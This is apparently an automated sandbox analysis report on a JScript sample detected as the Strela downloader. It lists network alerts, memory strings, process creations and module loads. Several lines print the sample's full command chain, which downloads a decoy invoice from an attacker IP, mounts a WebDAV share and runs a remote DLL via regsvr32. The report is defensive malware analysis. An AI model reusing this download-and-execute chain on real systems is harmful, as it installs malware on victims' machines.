Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49726 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa

Source: wscript.exe, 00000001.00000003.2200871072.00000270BFB9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2261445063.000001CFB23B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2261514113.000001CFB23F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2261189393.000001CFB23F0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2261514113.000001CFB23F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/JM
Source: net.exe, 00000007.00000002.2261445063.000001CFB23B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/temHu
Source: svchost.exe, 00000009.00000002.3497392151.000001BD8EC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2267246743.000001BD8EE00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1472, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 16847122831539518647.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6844:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pobsnfad.jad.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16847122831539518647.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1372,i,4550130085711816893,7265772474360566291,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1372,i,4550130085711816893,7265772474360566291,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
